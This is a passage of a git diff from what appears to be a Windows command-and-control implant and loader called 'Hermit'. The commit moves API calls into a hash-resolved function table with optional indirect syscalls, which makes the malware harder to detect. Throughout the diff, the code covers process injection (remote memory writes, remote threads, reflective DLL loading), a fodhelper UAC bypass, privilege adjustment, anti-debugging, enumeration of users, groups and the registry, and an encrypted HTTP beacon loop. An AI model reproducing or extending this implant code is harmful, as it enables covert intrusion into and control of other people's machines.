CloseHandle(hFile); + pProcs->lpCloseHandle(hFile); + pProcs->lpHeapFree(pProcs->lpGetProcessHeap(), 0, pRename); - HeapFree(GetProcessHeap(), 0, pRename); + return TRUE; } } diff --git a/payload/win/implant/src/core/system/group.cpp b/payload/win/implant/src/core/system/group.cpp index 8fef4bf..7128f0a 100644 --- a/payload/win/implant/src/core/system/group.cpp +++ b/payload/win/implant/src/core/system/group.cpp @@ -2,7 +2,7 @@ namespace System::Group { - std::vector AllGroupsGet() + std::vector AllGroupsGet(Procs::PPROCS pProcs) { std::vector groups = {}; @@ -14,6 +14,7 @@ namespace System::Group DWORD dwTotalEntries = 0; PDWORD_PTR pdwResumeHandle = NULL; + // NET_API_STATUS nStatus = pProcs->lpNetLocalGroupEnum( // This is not working but I don't understand why... NET_API_STATUS nStatus = NetLocalGroupEnum( NULL, dwLevel, @@ -32,6 +33,7 @@ namespace System::Group pLocalGroupInfoPtr++; } + // pProcs->lpNetApiBufferFree(pLocalGroupInfo); NetApiBufferFree(pLocalGroupInfo); } diff --git a/payload/win/implant/src/core/system/http.cpp b/payload/win/implant/src/core/system/http.cpp index 9ec4ee8..887ebc0 100644 --- a/payload/win/implant/src/core/system/http.cpp +++ b/payload/win/implant/src/core/system/http.cpp @@ -210,7 +210,7 @@ namespace System::Http } // Decrypt the data - std::vector bytes = Crypt::Decrypt(wEnc, pCrypt->pAES->hKey, pCrypt->pAES->iv); + std::vector bytes = Crypt::Decrypt(pProcs, wEnc, pCrypt->pAES->hKey, pCrypt->pAES->iv); return bytes; } @@ -255,6 +255,7 @@ namespace System::Http // Decrypt data std::vector bytes = Crypt::Decrypt( + pProcs, wEnc, pCrypt->pAES->hKey, pCrypt->pAES->iv @@ -283,6 +284,7 @@ namespace System::Http std::vector bytes = System::Fs::FileRead(pProcs, wSrc); // Encrypt the data std::wstring wEnc = Crypt::Encrypt( + pProcs, bytes, pCrypt->pAES->hKey, pCrypt->pAES->iv diff --git a/payload/win/implant/src/core/system/priv.cpp b/payload/win/implant/src/core/system/priv.cpp index 22185c5..6dc46e1 100644 --- a/payload/win/implant/src/core/system/priv.cpp +++ b/payload/win/implant/src/core/system/priv.cpp @@ -10,7 +10,7 @@ namespace System::Priv LUID luid; // Check if the privilege name exists. - if (!LookupPrivilegeValue( + if (!pProcs->lpLookupPrivilegeValueW( NULL, lpszPrivilege, &luid @@ -28,7 +28,7 @@ namespace System::Priv ps.Privilege[0].Luid = luid; // NtPrivilegeCheck is not working, so use WINAPI. - ::PrivilegeCheck(hToken, &ps, &bResult); + pProcs->lpPrivilegeCheck(hToken, &ps, &bResult); return bResult; } @@ -42,7 +42,7 @@ namespace System::Priv TOKEN_PRIVILEGES tp; LUID luid; - if (!LookupPrivilegeValue( + if (!pProcs->lpLookupPrivilegeValueW( NULL, lpszPrivilege, &luid @@ -63,7 +63,7 @@ namespace System::Priv } // Enable the privilege or disable all privileges. - if (!AdjustTokenPrivileges( + if (!pProcs->lpAdjustTokenPrivileges( hToken, FALSE, &tp, @@ -74,7 +74,7 @@ namespace System::Priv return FALSE; } - if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) + if (pProcs->lpGetLastError() == ERROR_NOT_ALL_ASSIGNED) { return FALSE; } diff --git a/payload/win/implant/src/core/system/process.cpp b/payload/win/implant/src/core/system/process.cpp index 0cb9e42..800420f 100644 --- a/payload/win/implant/src/core/system/process.cpp +++ b/payload/win/implant/src/core/system/process.cpp @@ -50,7 +50,7 @@ namespace System::Process RtlZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); - if (CreateProcessW( + if (pProcs->lpCreateProcessW( lpApplicationName, nullptr, nullptr, @@ -94,7 +94,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - hProcess = OpenProcess( + hProcess = pProcs->lpOpenProcess( dwDesiredAccess, FALSE, dwProcessID @@ -120,7 +120,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - if (!OpenProcessToken( + if (!pProcs->lpOpenProcessToken( hProcess, dwDesiredAccess, &hToken @@ -145,7 +145,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - return TerminateProcess(hProcess, EXIT_SUCCESS); + return pProcs->lpTerminateProcess(hProcess, EXIT_SUCCESS); } return TRUE; } @@ -170,7 +170,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - return VirtualAllocEx( + return pProcs->lpVirtualAllocEx( hProcess, pBaseAddr, dwSize, @@ -201,7 +201,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - if (!ReadProcessMemory( + if (!pProcs->lpReadProcessMemory( hProcess, (LPCVOID)pBaseAddr, pBuffer, @@ -234,7 +234,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - if (!WriteProcessMemory( + if (!pProcs->lpWriteProcessMemory( hProcess, pBaseAddr, pBuffer, @@ -266,7 +266,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - if (!VirtualProtectEx( + if (!pProcs->lpVirtualProtectEx( hProcess, pBaseAddr, *pdwSize, @@ -296,7 +296,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - return VirtualFree( + return pProcs->lpVirtualFree( pBaseAddr, *pdwSize, dwFreeType @@ -331,7 +331,7 @@ namespace System::Process ); if (status != STATUS_SUCCESS) { - hThread = CreateRemoteThreadEx( + hThread = pProcs->lpCreateRemoteThreadEx( hProcess, nullptr, 0, @@ -361,18 +361,18 @@ namespace System::Process sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; - if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) + if (!pProcs->lpCreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) { return L""; } - if (!SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0)) + if (!pProcs->lpSetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0)) { return L""; } - ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); - ZeroMemory(&si, sizeof(STARTUPINFOW)); + RtlZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&si, sizeof(STARTUPINFOW)); si.cb = sizeof(STARTUPINFOW); si.hStdError = hWritePipe; @@ -382,7 +382,7 @@ namespace System::Process // Set application name (full path) WCHAR system32Path[MAX_PATH]; - GetSystemDirectoryW(system32Path, MAX_PATH); + pProcs->lpGetSystemDirectoryW(system32Path, MAX_PATH); std::wstring wSystem32Path = std::wstring(system32Path); const std::wstring applicationName = wSystem32Path + L"\\cmd.exe"; // const std::wstring applicationName = wSystem32Path + L"\\WindowsPowerShell\\v1.0\powershell.exe"; @@ -391,7 +391,7 @@ namespace System::Process std::wstring commandLine = L"/C " + wCmd; // std::wstring commandLine = L"-c " + cmd; - bResults = CreateProcessW( + bResults = pProcs->lpCreateProcessW( applicationName.c_str(), &commandLine[0], NULL, @@ -412,17 +412,17 @@ namespace System::Process DWORD dwRead; CHAR chBuf[4096]; - CloseHandle(hWritePipe); + pProcs->lpCloseHandle(hWritePipe); - while (ReadFile(hReadPipe, chBuf, 4095, &dwRead, NULL) && dwRead > 0) + while (pProcs->lpReadFile(hReadPipe, chBuf, 4095, &dwRead, NULL) && dwRead > 0) { chBuf[dwRead] = '\0'; result += std::wstring(chBuf, chBuf + dwRead); } - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - CloseHandle(hReadPipe); + pProcs->lpCloseHandle(pi.hProcess); + pProcs->lpCloseHandle(pi.hThread); + pProcs->lpCloseHandle(hReadPipe); return result; } diff --git a/payload/win/implant/src/core/system/registry.cpp b/payload/win/implant/src/core/system/registry.cpp index ac664e6..46830cf 100644 --- a/payload/win/implant/src/core/system/registry.cpp +++ b/payload/win/implant/src/core/system/registry.cpp @@ -31,6 +31,7 @@ namespace System::Registry } std::vector RegEnumSubKeys( + Procs::PPROCS pProcs, HKEY hRootKey, const std::wstring& wSubKey, DWORD dwOptions, @@ -41,7 +42,7 @@ namespace System::Registry LONG lStatus; HKEY hKey = NULL; - lStatus = ::RegOpenKeyExW( + lStatus = pProcs->lpRegOpenKeyExW( hRootKey, wSubKey.c_str(), 0, @@ -56,7 +57,7 @@ namespace System::Registry DWORD dwSubKeys; DWORD dwMaxSubKeyLen; - lStatus = ::RegQueryInfoKeyW( + lStatus = pProcs->lpRegQueryInfoKeyW( hKey, NULL, NULL, @@ -72,7 +73,7 @@ namespace System::Registry ); if (lStatus != ERROR_SUCCESS) { - ::RegCloseKey(hKey); + pProcs->lpRegCloseKey(hKey); return vSubKeys; } @@ -84,7 +85,7 @@ namespace System::Registry { dwNameLen = dwMaxSubKeyLen; - lStatus = ::RegEnumKeyExW( + lStatus = pProcs->lpRegEnumKeyExW( hKey, i, (LPWSTR)&name, @@ -107,6 +108,7 @@ namespace System::Registry if (bRecursive) { std::vector vSubKeys2 = System::Registry::RegEnumSubKeys( + pProcs, hRootKey, wNewSubKey, dwOptions, @@ -117,7 +119,7 @@ namespace System::Registry } } - ::RegCloseKey(hKey); + pProcs->lpRegCloseKey(hKey); return vSubKeys; } diff --git a/payload/win/implant/src/core/system/user.cpp b/payload/win/implant/src/core/system/user.cpp index 878c59f..72a08b3 100644 --- a/payload/win/implant/src/core/system/user.cpp +++ b/payload/win/implant/src/core/system/user.cpp @@ -8,7 +8,7 @@ namespace System::User DWORD dwBufCharCount = INFO_BUFFER_SIZE; // I think there is no NTAPI to get computer name, so use WINAPI. - if (!GetComputerNameW(wInfoBuf, &dwBufCharCount)) + if (!pProcs->lpGetComputerNameW(wInfoBuf, &dwBufCharCount)) { return L"Error: Could not get the computer name."; } @@ -21,7 +21,7 @@ namespace System::User WCHAR wInfoBuf[INFO_BUFFER_SIZE] = {'\0'}; DWORD dwBufCharCount = INFO_BUFFER_SIZE; - if (!GetUserNameW(wInfoBuf, &dwBufCharCount)) + if (!pProcs->lpGetUserNameW(wInfoBuf, &dwBufCharCount)) { return L"Error: Could not get the username."; } @@ -29,14 +29,13 @@ namespace System::User return std::wstring(wInfoBuf); } - std::vector AllUsersGet() + std::vector AllUsersGet(Procs::PPROCS pProcs) { std::vector users = {}; + LPCWSTR lpServerName = NULL; LPUSER_INFO_0 pBuf = NULL; LPUSER_INFO_0 pTmpBuf; - DWORD dwLevel = 0; - DWORD dwPrefMaxLen = MAX_PREFERRED_LENGTH; DWORD dwEntriesRead = 0; DWORD dwTotalEntries = 0; DWORD dwResumeHandle = 0; @@ -47,12 +46,13 @@ namespace System::User do { + // nStatus = pProcs->lpNetUserEnum( // I don't know why this is not working... nStatus = NetUserEnum( - NULL, // (LPCWSTR) pszServerName, - dwLevel, + lpServerName, + 0, FILTER_NORMAL_ACCOUNT, // global users (LPBYTE*)&pBuf, - dwPrefMaxLen, + MAX_PREFERRED_LENGTH, &dwEntriesRead, &dwTotalEntries, &dwResumeHandle @@ -79,6 +79,7 @@ namespace System::User if (pBuf != NULL) { + // pProcs->lpNetApiBufferFree(pBuf); NetApiBufferFree(pBuf); pBuf = NULL; } @@ -86,6 +87,7 @@ namespace System::User if (pBuf != NULL) { + // pProcs->lpNetApiBufferFree(pBuf); NetApiBufferFree(pBuf); pBuf = NULL; } diff --git a/payload/win/implant/src/core/task/group.cpp b/payload/win/implant/src/core/task/group.cpp index f781312..77ab18b 100644 --- a/payload/win/implant/src/core/task/group.cpp +++ b/payload/win/implant/src/core/task/group.cpp @@ -2,11 +2,11 @@ namespace Task { - std::wstring GroupLs() + std::wstring GroupLs(State::PSTATE pState) { std::wstring result = L""; - std::vector groups = System::Group::AllGroupsGet(); + std::vector groups = System::Group::AllGroupsGet(pState->pProcs); if (groups.size() == 0) { return L"Error: Groups not found."; diff --git a/payload/win/implant/src/core/task/reg.cpp b/payload/win/implant/src/core/task/reg.cpp index acd861d..b3a7567 100644 --- a/payload/win/implant/src/core/task/reg.cpp +++ b/payload/win/implant/src/core/task/reg.cpp @@ -18,6 +18,7 @@ namespace Task } std::vector vNewSubKeys = System::Registry::RegEnumSubKeys( + pState->pProcs, hRootKey, wSubKey, KEY_READ, diff --git a/payload/win/implant/src/core/task/uac.cpp b/payload/win/implant/src/core/task/uac.cpp index 8ba91cd..b5bf73e 100644 --- a/payload/win/implant/src/core/task/uac.cpp +++ b/payload/win/implant/src/core/task/uac.cpp @@ -81,5 +81,7 @@ namespace Task return L"Success: The fodhelper.exe and another process started successfully."; } + + return L"Error: Invalid technique."; } } \ No newline at end of file diff --git a/payload/win/implant/src/core/task/user.cpp b/payload/win/implant/src/core/task/user.cpp index 3525338..21e71a3 100644 --- a/payload/win/implant/src/core/task/user.cpp +++ b/payload/win/implant/src/core/task/user.cpp @@ -6,7 +6,7 @@ namespace Task { std::wstring result = L""; - std::vector users = System::User::AllUsersGet(); + std::vector users = System::User::AllUsersGet(pState->pProcs); if (users.size() == 0) { return L"Error: Users not found."; diff --git a/payload/win/implant/src/core/technique/injection/dll_injection.cpp b/payload/win/implant/src/core/technique/injection/dll_injection.cpp index dc7db30..4fda08d 100644 --- a/payload/win/implant/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/implant/src/core/technique/injection/dll_injection.cpp @@ -233,8 +233,8 @@ namespace Technique::Injection if (!hProcess) return FALSE; - // Get offset of the ReflectiveDllLoader function in the DLL. - DWORD dwRefLoaderOffset = Technique::Injection::Helper::GetFuncOffset(lpBuffer, "ReflectiveDllLoader"); + // Get offset of the ReflectiveLoader function in the DLL. + DWORD dwRefLoaderOffset = Technique::Injection::Helper::GetFuncOffset(lpBuffer, "ReflectiveLoader"); if (dwRefLoaderOffset == 0) { System::Handle::HandleClose(pProcs, hProcess); @@ -302,5 +302,7 @@ namespace Technique::Injection System::Process::VirtualMemoryFree(pProcs, hProcess, &lpRemoteBuffer, 0, MEM_RELEASE); System::Handle::HandleClose(pProcs, hProcess); System::Handle::HandleClose(pProcs, hThread); + + return TRUE; } } \ No newline at end of file diff --git a/payload/win/implant/src/core/utils/strings.cpp b/payload/win/implant/src/core/utils/strings.cpp new file mode 100644 index 0000000..c0c51af --- /dev/null +++ b/payload/win/implant/src/core/utils/strings.cpp @@ -0,0 +1,23 @@ +#include "core/utils.hpp" + +namespace Strings +{ + SIZE_T StrLenA(LPCSTR str) + { + LPCSTR str2; + + if ( str == NULL ) + return 0; + + for (str2 = str; *str2; ++str2); + return (str2 - str); + } + + SIZE_T StrLenW(LPCWSTR str) + { + LPCWSTR str2; + + for (str2 = str; *str2; ++str2); + return (str2 - str); + } +} \ No newline at end of file diff --git a/payload/win/implant/src/hermit.cpp b/payload/win/implant/src/hermit.cpp index b5d243d..59e924a 100644 --- a/payload/win/implant/src/hermit.cpp +++ b/payload/win/implant/src/hermit.cpp @@ -23,31 +23,94 @@ namespace Hermit LPCWSTR lpKey, LPCWSTR lpIV ) { - HMODULE hNTDLL = LoadLibrary(L"ntdll.dll"); - if (!hNTDLL) + State::PSTATE pState = new State::STATE; + + pState->pTeb = NtCurrentTeb(); + + // -------------------------------------------------------------------------- + // Get module handlers and functions. + // -------------------------------------------------------------------------- + + HMODULE hNtdll = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_NTDLL); + if (!hNtdll) { return; } - HMODULE hKernel32DLL = LoadLibrary(L"kernel32.dll"); - if (!hKernel32DLL) + pState->hNTDLL = hNtdll; + + HMODULE hKernel32 = (HMODULE)Procs::GetModuleByHash(HASH_MODULE_KERNEL32); + if (!hKernel32) { return; } - HMODULE hWinHTTPDLL = LoadLibrary(L"winhttp.dll"); - if (!hWinHTTPDLL) - { - FreeLibrary(hNTDLL); - return; - } + pState->hKernel32DLL = hKernel32; + + // Get functions + pState->pProcs = Procs::FindProcs( + hNtdll, + hKernel32, + bIndirectSyscalls + ); + + // -------------------------------------------------------------------------- + // Get other module handlers functions. + // -------------------------------------------------------------------------- + + WCHAR wAdvapi32DLL[] = L"advapi32.dll"; + HMODULE hAdvapi32 = (HMODULE)Procs::LoadModule(pState->pProcs, (LPWSTR)wAdvapi32DLL); + if (!hAdvapi32) + { + return; + } + pState->hAdvapi32DLL = hAdvapi32; - State::PSTATE pState = new State::STATE; + WCHAR wBcryptDLL[] = L"bcrypt.dll"; + HMODULE hBcrypt = (HMODULE)Procs::LoadModule(pState->pProcs, (LPWSTR)wBcryptDLL); + if (!hBcrypt) + { + return; + } + pState->hBcryptDLL = hBcrypt; + + WCHAR wCrypt32DLL[] = L"crypt32.dll"; + HMODULE hCrypt32 = (HMODULE)Procs::LoadModule(pState->pProcs, (LPWSTR)wCrypt32DLL); + if (!hCrypt32) + { + return; + } + pState->hCrypt32DLL = hCrypt32; + + WCHAR wNetapi32DLL[] = L"netapi32.dll"; + HMODULE hNetapi32 = (HMODULE)Procs::LoadModule(pState->pProcs, (LPWSTR)wNetapi32DLL); + if (!hNetapi32) + { + return; + } + pState->hNetapi32DLL = hNetapi32; - pState->pCrypt = Crypt::InitCrypt(lpKey, lpIV); - pState->pTeb = NtCurrentTeb(); - pState->hKernel32DLL = hKernel32DLL; - pState->hNTDLL = hNTDLL; - pState->hWinHTTPDLL = hWinHTTPDLL; - pState->pProcs = Procs::FindProcs(hNTDLL, hKernel32DLL, hWinHTTPDLL, bIndirectSyscalls); + WCHAR wWinHttpDll[] = L"winhttp.dll"; + HMODULE hWinHttp = (HMODULE)Procs::LoadModule(pState->pProcs, (LPWSTR)wWinHttpDll); + if (!hWinHttp) + { + return; + } + pState->hWinHTTPDLL = hWinHttp; + + // Get functions + Procs::FindProcsMisc( + pState->pProcs, + hAdvapi32, + hBcrypt, + hCrypt32, + hNetapi32, + hWinHttp + ); + + // -------------------------------------------------------------------------- + // Store states others. + // -------------------------------------------------------------------------- + + pState->pCrypt = Crypt::InitCrypt(pState->pProcs, lpKey, lpIV); pState->hInstance = hInstance; pState->nCmdShow = nCmdShow; pState->lpPayloadType = lpPayloadType; @@ -70,15 +133,24 @@ namespace Hermit // pState->pSocket = NULL; pState->bQuit = FALSE; + // -------------------------------------------------------------------------- + // Anti-Debug + // -------------------------------------------------------------------------- + // Anti-Debug if (bAntiDebug) { Technique::AntiDebug::StopIfDebug(pState->pProcs); } + // -------------------------------------------------------------------------- + // Get initial info and http handlers. + // -------------------------------------------------------------------------- + // Get system information std::wstring wInfoJson = Handler::GetInitialInfoJSON(pState); + // Initialize WinHttp handlers Handler::HTTPInit(pState); if (pState->hSession == NULL || pState->hConnect == NULL) { @@ -89,7 +161,10 @@ namespace Hermit // WinHttpSetStatusCallback(hSession, WinHttpCallback, WINHTTP_CALLBACK_FLAG_SECURE_FAILURE, 0); - // Check-In + // -------------------------------------------------------------------------- + // Check-in + // -------------------------------------------------------------------------- + do { Utils::Random::RandomSleep(pState->nSleep, pState->nJitter); @@ -105,7 +180,10 @@ namespace Hermit } } while (1 == 1); - // Tasks + // -------------------------------------------------------------------------- + // Process tasks + // -------------------------------------------------------------------------- + do { Utils::Random::RandomSleep(pState->nSleep, pState->nJitter); diff --git a/payload/win/implant/src/main/rfl.cpp b/payload/win/implant/src/main/rfl.cpp index 51782b8..03499ed 100644 --- a/payload/win/implant/src/main/rfl.cpp +++ b/payload/win/implant/src/main/rfl.cpp @@ -95,7 +95,7 @@ VOID ReallocateSections( } // This function is invoked by DLL Loader with Reflective DLL Injection technique. -DLLEXPORT BOOL ReflectiveDllLoader(LPVOID lpParameter) +DLLEXPORT BOOL ReflectiveLoader(LPVOID lpParameter) { // Get this base address. LPVOID lpRflLdr = ReflectiveCaller(); diff --git a/payload/win/loader/include/core/technique.hpp b/payload/win/loader/include/core/technique.hpp index 901dc36..51f9cd7 100644 --- a/payload/win/loader/include/core/technique.hpp +++ b/payload/win/loader/include/core/technique.hpp @@ -14,7 +14,6 @@ #include // Used for Reflective DLL Injection -typedef ULONG_PTR (WINAPI * LPPROC_REFLECTIVEDLLLOADER)(); typedef BOOL (WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID); // Used for Anti-Debug diff --git a/payload/win/loader/src/core/technique/injection/dll_injection.cpp b/payload/win/loader/src/core/technique/injection/dll_injection.cpp index 2c51486..7c808df 100644 --- a/payload/win/loader/src/core/technique/injection/dll_injection.cpp +++ b/payload/win/loader/src/core/technique/injection/dll_injection.cpp @@ -249,7 +249,7 @@ namespace Technique::Injection return FALSE; // Get offset of the ReflectiveDllLoader function in the DLL. - DWORD dwRefLoaderOffset = Technique::Injection::Helper::GetFuncOffset(lpBuffer, "ReflectiveDllLoader"); + DWORD dwRefLoaderOffset = Technique::Injection::Helper::GetFuncOffset(lpBuffer, "ReflectiveLoader"); if (dwRefLoaderOffset == 0) { System::Handle::HandleClose(pProcs, hProcess);